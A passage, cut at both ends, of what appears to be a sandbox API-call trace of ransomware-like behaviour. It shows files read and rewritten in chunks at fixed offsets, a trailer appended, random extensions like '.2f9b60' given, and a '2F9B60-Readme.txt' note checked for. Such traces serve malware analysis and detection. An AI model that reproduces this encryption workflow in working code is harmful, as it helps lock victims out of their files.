lpOverlapped=0x0 | out: lpBuffer=0x42be0ae0*, lpNumberOfBytesRead=0x2cc2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0183.638] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0183.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504610 [0183.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c00 [0183.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32c00) returned 1 [0183.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42bca280 [0183.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c00 [0183.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c60 [0183.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32c60) returned 1 [0183.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0183.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0183.641] WriteFile (in: hFile=0x2550, lpBuffer=0x42bca280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cc2f600, lpOverlapped=0x0 | out: lpBuffer=0x42bca280*, lpNumberOfBytesWritten=0x2cc2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0204.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42bca280) returned 1 [0204.783] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.783] ReadFile (in: hFile=0x2550, lpBuffer=0x42be0ae0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cc2f600, lpOverlapped=0x0 | out: lpBuffer=0x42be0ae0*, lpNumberOfBytesRead=0x2cc2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0204.808] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0204.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0204.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0204.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a740) returned 1 [0204.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f31d40 [0204.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a740 [0204.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0204.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0204.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0204.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0204.812] WriteFile (in: hFile=0x2550, lpBuffer=0x41f31d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cc2f600, lpOverlapped=0x0 | out: lpBuffer=0x41f31d40*, lpNumberOfBytesWritten=0x2cc2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0215.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f31d40) returned 1 [0215.060] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0xfc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.060] ReadFile (in: hFile=0x2550, lpBuffer=0x42be0ae0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cc2f600, lpOverlapped=0x0 | out: lpBuffer=0x42be0ae0*, lpNumberOfBytesRead=0x2cc2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0215.064] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0xfc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62370 [0215.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0215.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0215.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0215.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42953630 [0215.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0215.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0215.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0215.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0215.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0215.068] WriteFile (in: hFile=0x2550, lpBuffer=0x42953630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cc2f600, lpOverlapped=0x0 | out: lpBuffer=0x42953630*, lpNumberOfBytesWritten=0x2cc2f600*=0x3c00, lpOverlapped=0x0) returned 1 [0228.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42953630) returned 1 [0228.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309f9f0 [0228.147] SetFilePointerEx (in: hFile=0x2550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.147] WriteFile (in: hFile=0x2550, lpBuffer=0x431e11a0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2cc2f6b0, lpOverlapped=0x0 | out: lpBuffer=0x431e11a0*, lpNumberOfBytesWritten=0x2cc2f6b0*=0x140, lpOverlapped=0x0) returned 1 [0233.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62820 [0233.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0233.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0233.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260770) returned 1 [0233.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0233.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0233.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621b0 [0233.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621b0) returned 1 [0233.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0233.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0233.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x202621b0 [0233.212] sprintf (in: _Dest=0x202621b0, _Format="%c%c" | out: _Dest="02") returned 2 [0233.213] sprintf (in: _Dest=0x202621b2, _Format="%c%c" | out: _Dest="5d") returned 2 [0233.213] sprintf (in: _Dest=0x202621b4, _Format="%c%c" | out: _Dest="74") returned 2 [0233.213] sprintf (in: _Dest=0x202621b6, _Format="%c%c" | out: _Dest="df") returned 2 [0233.213] sprintf (in: _Dest=0x202621b8, _Format="%c%c" | out: _Dest="35") returned 2 [0233.213] sprintf (in: _Dest=0x202621ba, _Format="%c%c" | out: _Dest="7a") returned 2 [0233.213] sprintf (in: _Dest=0x202621bc, _Format="%c%c" | out: _Dest="c1") returned 2 [0233.213] sprintf (in: _Dest=0x202621be, _Format="%c%c" | out: _Dest="c6") returned 2 [0233.213] sprintf (in: _Dest=0x202621c0, _Format="%c%c" | out: _Dest="04") returned 2 [0233.213] sprintf (in: _Dest=0x202621c2, _Format="%c%c" | out: _Dest="62") returned 2 [0233.213] sprintf (in: _Dest=0x202621c4, _Format="%c%c" | out: _Dest="2a") returned 2 [0233.213] sprintf (in: _Dest=0x202621c6, _Format="%c%c" | out: _Dest="35") returned 2 [0233.213] sprintf (in: _Dest=0x202621c8, _Format="%c%c" | out: _Dest="20") returned 2 [0233.213] sprintf (in: _Dest=0x202621ca, _Format="%c%c" | out: _Dest="d1") returned 2 [0233.213] RtlInitAnsiString (in: DestinationString=0x2cc2f728, SourceString="025d74df357ac1c604622a3520d1" | out: DestinationString="025d74df357ac1c604622a3520d1") [0233.213] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cc2f6f8, SourceString="025d74df357ac1c604622a3520d1", AllocateDestinationString=1 | out: DestinationString="025d74df357ac1c604622a3520d1") returned 0x0 [0233.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce61d30 [0233.214] wcscat (in: _Dest=0x202b1410, _Source="025d74d" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\025d74d") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\025d74d" [0233.214] wcscat (in: _Dest=0x202b1410, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\025d74d.2f9b60") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\025d74d.2f9b60" [0233.214] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\025d74d.2f9b60", NtPathName=0x2cc2f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\025d74d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0233.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106c40 [0235.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0235.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43222db0) returned 1 [0235.443] NtQueryInformationFile (in: FileHandle=0x2550, IoStatusBlock=0x2cc2f738, FileInformation=0x2cc2f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cc2f738, FileInformation=0x2cc2f748) returned 0x0 [0235.443] NtSetInformationFile (FileHandle=0x2550, IoStatusBlock=0x2cc2f738, FileInformation=0x2cc2f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1410) returned 1 [0237.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0237.491] FlushFileBuffers (hFile=0x2550) returned 1 [0238.230] CloseHandle (hObject=0x2550) returned 1 [0241.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65ad0 [0241.636] wcscpy (in: _Dest=0x1cd65ad0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0241.636] wcscat (in: _Dest=0x1cd65ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" [0241.636] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\2f9b60-readme.txt")) returned 0x2020 [0241.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ad0) returned 1 [0241.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae6e0) returned 1 Thread: id = 2490 os_tid = 0x1f5c [0154.469] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs")) returned 0x2020 [0154.470] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs", dwFileAttributes=0x20) [0183.291] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1094 [0183.291] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x2cd3f860 | out: lpFileSize=0x2cd3f860*=1048576) returned 1 [0183.291] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0xffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.291] ReadFile (in: hFile=0x1094, lpBuffer=0x2cd3f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cd3f828, lpOverlapped=0x0 | out: lpBuffer=0x2cd3f7e0*, lpNumberOfBytesRead=0x2cd3f828*=0x4, lpOverlapped=0x0) returned 1 [0183.563] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32960 [0183.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d329c0 [0183.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32a50 [0183.564] NtQuerySystemTime (in: CurrentTime=0x2cd3f720 | out: CurrentTime=0x2cd3f720*=132462177886582000) returned 0x0 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x16e6047f [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x3b4bc96a [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x163762e7 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x15fd4975 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x21bca80d [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x2e16bfcd [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x6afbab80 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x3f571100 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0xbe0cdbb [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x7750498b [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x3ab840ec [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x5c655b28 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x63d3aed2 [0183.564] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x3fd62b08 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x54abd647 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x7150b394 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x7a4df0b4 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0xaccd2df [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x55a821d8 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x44c245e5 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x6e5085c6 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x21bdb7ae [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x24f347a3 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0xca4231f [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x65875cee [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x80f6b5f [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x5fc9ab21 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0xa845682 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x23514f0e [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x5b6fa4d1 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x17e17a88 [0183.565] RtlRandomEx (in: Seed=0x2cd3f710 | out: Seed=0x2cd3f710) returned 0x7f51a234 [0183.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32a80 [0183.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0183.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32ab0 [0183.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0183.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32a50) returned 1 [0183.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32960) returned 1 [0183.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42bc6670 [0183.576] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.576] ReadFile (in: hFile=0x1094, lpBuffer=0x42bc6670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cd3f780, lpOverlapped=0x0 | out: lpBuffer=0x42bc6670*, lpNumberOfBytesRead=0x2cd3f780*=0x3c00, lpOverlapped=0x0) returned 1 [0183.641] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0183.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504610 [0183.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c60 [0183.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32c60) returned 1 [0183.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42bcde90 [0183.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c60 [0183.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32cf0 [0183.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32cf0) returned 1 [0183.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504610) returned 1 [0183.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0183.645] WriteFile (in: hFile=0x1094, lpBuffer=0x42bcde90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cd3f780, lpOverlapped=0x0 | out: lpBuffer=0x42bcde90*, lpNumberOfBytesWritten=0x2cd3f780*=0x3c00, lpOverlapped=0x0) returned 1 [0204.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42bcde90) returned 1 [0204.785] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.786] ReadFile (in: hFile=0x1094, lpBuffer=0x42bc6670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cd3f780, lpOverlapped=0x0 | out: lpBuffer=0x42bc6670*, lpNumberOfBytesRead=0x2cd3f780*=0x3c00, lpOverlapped=0x0) returned 1 [0204.813] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0204.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0204.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0204.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0204.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2a520 [0204.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0204.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0204.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0204.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0204.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0204.817] WriteFile (in: hFile=0x1094, lpBuffer=0x41f2a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cd3f780, lpOverlapped=0x0 | out: lpBuffer=0x41f2a520*, lpNumberOfBytesWritten=0x2cd3f780*=0x3c00, lpOverlapped=0x0) returned 1 [0215.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0215.061] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0xfc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.061] ReadFile (in: hFile=0x1094, lpBuffer=0x42bc6670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cd3f780, lpOverlapped=0x0 | out: lpBuffer=0x42bc6670*, lpNumberOfBytesRead=0x2cd3f780*=0x3c00, lpOverlapped=0x0) returned 1 [0215.069] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0xfc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62370 [0215.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0215.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0215.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8f0) returned 1 [0215.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4295ae50 [0215.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8f0 [0215.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0215.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0215.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0215.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0215.073] WriteFile (in: hFile=0x1094, lpBuffer=0x4295ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cd3f780, lpOverlapped=0x0 | out: lpBuffer=0x4295ae50*, lpNumberOfBytesWritten=0x2cd3f780*=0x3c00, lpOverlapped=0x0) returned 1 [0228.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ae50) returned 1 [0228.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea1d0 [0228.149] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.149] WriteFile (in: hFile=0x1094, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2cd3f830, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x2cd3f830*=0x150, lpOverlapped=0x0) returned 1 [0233.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62820 [0233.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0233.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32a20 [0233.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32a20) returned 1 [0233.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d32a20 [0233.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d329f0 [0233.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32990 [0233.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32990) returned 1 [0233.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0233.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0233.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce62820 [0233.226] sprintf (in: _Dest=0x1ce62820, _Format="%c%c" | out: _Dest="9d") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62822, _Format="%c%c" | out: _Dest="79") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62824, _Format="%c%c" | out: _Dest="8e") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62826, _Format="%c%c" | out: _Dest="59") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62828, _Format="%c%c" | out: _Dest="37") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6282a, _Format="%c%c" | out: _Dest="9b") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6282c, _Format="%c%c" | out: _Dest="b4") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6282e, _Format="%c%c" | out: _Dest="0f") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62830, _Format="%c%c" | out: _Dest="91") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62832, _Format="%c%c" | out: _Dest="d8") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62834, _Format="%c%c" | out: _Dest="dd") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62836, _Format="%c%c" | out: _Dest="ec") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62838, _Format="%c%c" | out: _Dest="6d") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6283a, _Format="%c%c" | out: _Dest="78") returned 2 [0233.226] sprintf (in: 